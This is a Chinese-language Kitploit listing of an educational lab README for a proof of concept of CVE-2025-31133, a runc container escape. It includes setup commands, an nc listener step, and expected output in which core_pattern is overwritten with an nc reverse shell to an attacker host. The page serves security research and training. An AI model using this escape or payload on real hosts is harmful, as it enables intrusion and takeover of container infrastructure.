Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Learn-about-cve-2025-31133-poc — CVE-2025-31133 的教育性概念验证,一种通过 maskedPaths 竞态条件实现的 runc 容器逃逸。包含实验环境搭建、利用脚本及面向安全研究人员的缓解指南。 | Kitploit
工具/GitHubGitHub/c-h4ck-0/learn-about-cve-2025-31133-poc
容器安全漏洞分析漏洞利用学习与教育容器逃逸实验室与实践
GitHubc-h4ck-0/learn-about-cve-2025-31133-poc

Learn-about-cve-2025-31133-poc

CVE-2025-31133 的教育性概念验证,一种通过 maskedPaths 竞态条件实现的 runc 容器逃逸。包含实验环境搭建、利用脚本及面向安全研究人员的缓解指南。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
2365个月前尚未审核

了解CVE-2025-31133-PoC

概览

针对runc中的安全漏洞CVE-2025-31133的验证概念演示和学习环境,该漏洞通过竞态条件绕过了maskedPaths保护机制。maskedPaths旨在阻止容器访问敏感的主机文件系统路径。

https://github.com/user-attachments/assets/d7b4ea43-6cab-4ac5-bb07-08bc46479910

👉 本仓库是Black Hat培训中教授的研究思维和技术的实际示例:

如果您觉得这有趣,这只是冰山一角。

攻击性容器安全:突破边界的实战课程

📅 Black Hat USA 2026 培训日期:

8月1日–2日

https://blackhat.com/us-26/training/schedule/index.html#offensive-container-security-a-masterclass-in-breaking-the-boundaries-50910

8月3日–4日

https://blackhat.com/us-26/training/schedule/index.html#offensive-container-security-a-masterclass-in-breaking-the-boundaries-509101770251750

漏洞详情

  • CVE ID: CVE-2025-31133
  • 组件: runc(容器运行时)
  • 攻击向量: maskedPaths处理中的竞态条件
  • 影响: 容器逃逸

工作原理

该利用利用了一个竞态条件,其中:

  1. 容器配置了maskedPaths以保护敏感文件(例如/proc/sys/kernel/core_pattern)
  2. 在容器初始化期间,以下操作之间发生竞态条件:
    • 删除容器根文件系统中的设备节点(/dev/null)
    • 重新创建该设备节点
  3. 这个时间窗口使得masked路径保护被绕过
  4. 攻击者可以写入本应被屏蔽的受保护文件

⚠️ 免责声明

本仓库仅用于教育目的。

  • 仅在隔离、受控的环境中使用
  • 不要对不属于您或未经明确许可的系统使用
  • 作者不对任何滥用此代码的行为负责
  • 此漏洞利用可能导致系统不稳定或数据丢失

先决条件

  • Linux系统(推荐Ubuntu)
  • root/sudo访问权限
  • 互联网连接
  • 对容器运行时和安全的基本理解

设置

1. 克隆或下载本仓库

root@kitploit:~
git clone https://github.com/C-h4ck-0/Learn-about-cve-2025-31133-poc.git
cd Learn-about-cve-2025-31133-poc

2. 运行实验室设置脚本

lab-setup.sh脚本将:

  • 安装依赖
  • 设置易受攻击的runc v1.2.0
root@kitploit:~
chmod +x lab-setup.sh
./lab-setup.sh

3. 验证设置

检查已安装的易受攻击runc版本:

root@kitploit:~
runc --version

您应该看到版本1.2.0或类似。

运行漏洞利用

基本用法

  1. 在攻击者机器上启动一个监听器以接收反弹Shell:
root@kitploit:~
nc -lnvp <端口>
  1. 运行漏洞利用脚本:
root@kitploit:~
chmod +x cve-2025-31133-exploit.sh
./cve-2025-31133-exploit.sh
  1. 根据提示提供所需信息:
    • 攻击者IP地址
    • 攻击者端口(监听器运行的端口)

预期输出

成功时,您应该看到:

root@kitploit:~
[*] Compiling race condition exploit binary...
[*] Starting exploit attempts...
[*] Target: /proc/sys/kernel/core_pattern
[*] Backing up /proc/sys/kernel/core_pattern...
[*] Backup created at /tmp/core_pattern.bak
[*] Current content of target:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E

====================================================
[*] Testing delay: 5 microseconds
====================================================
X..
[+] ========================================
[+] SUCCESS! Exploit succeeded.
[+] ========================================
[+] Original content:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
------------------------------------------------
[+] Modified content:
|/bin/nc.traditional <ip-address> <port> -e /bin/bash
------------------------------------------------
./exploit.sh: line 148:  7068 Segmentation fault      (core dumped) sleep 5
[*] Restoring original content...
[*] Restoration complete.

应该会向您的监听器建立反弹Shell连接。

缓解措施

要防范此漏洞:

  1. 更新runc到已修补的版本(v1.2.1或更高版本)
  2. 定期更新容器运行时
  3. 使用最小权限原则 - 在非root用户命名空间中运行容器

参考资料

  • 邮件列表存档
  • 漏洞PoC GitHub仓库

备注

  • 由于竞态条件性质,利用可能需要多次尝试才能成功
  • 成功率取决于系统负载和时机
  • 成功利用后,脚本会自动恢复原始core_pattern
  • 通过陷阱处理器自动处理清理

许可证

本项目仅供教育目的。请负责任且道德地使用。


记住:始终负责任地使用安全研究工具,并且仅在您拥有或明确获得许可的环境中进行测试。

下载工具